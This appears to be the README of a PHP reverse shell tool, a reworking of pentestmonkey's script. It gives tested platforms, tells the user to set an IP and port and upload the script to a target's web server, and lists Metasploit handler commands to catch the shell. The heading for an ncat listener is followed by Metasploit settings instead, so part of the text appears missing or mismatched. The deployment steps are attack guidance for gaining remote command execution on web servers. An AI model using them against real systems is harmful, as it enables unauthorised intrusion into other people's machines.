Just a little refresh on the popular PHP reverse shell script pentestmonkey/php-reverse-shell. Credits to the original author!
Works on Linux OS and macOS with /bin/sh and Windows OS with cmd.exe. Script will automatically detect an underlying OS.
Works with both ncat and multi/handler.
Tested on XAMPP for Linux v7.3.19 (64-bit) with PHP v7.3.19 on Kali Linux v2020.2 (64-bit).
Tested on XAMPP for OS X v7.4.10 (64-bit) with PHP v7.4.10 on macOS Catalina v10.15.6 (64-bit).
Tested on XAMPP for Windows v7.4.3 (64-bit) with PHP v7.4.3 on Windows 10 Enterprise OS (64-bit).
Made for educational purposes. I hope it will help!
Process pipes on Windows OS do not support asynchronous operations so stream_set_blocking(), stream_select(), and feof() will not work properly, but I found a workaround.
/src/php_reverse_shell.php requires PHP v5.0.0 or greater, mainly because proc_get_status() is being used.
/src/php_reverse_shell_older.php requires PHP v4.3.0 or greater.
Change the IP address and port number inside the script as necessary.
Copy /src/php_reverse_shell.php to your server's web root directory (e.g. to /opt/lampp/htdocs/ on XAMPP) or upload it to your target's web server.
Navigate to the file with your preferred web browser.

To set up a listener, open your preferred console on Kali Linux and run one of the examples below.
Set up an ncat listener:

set PAYLOAD windows/shell_reverse_tcp
set LHOST 127.0.0.1
set LPORT 9000
exploit
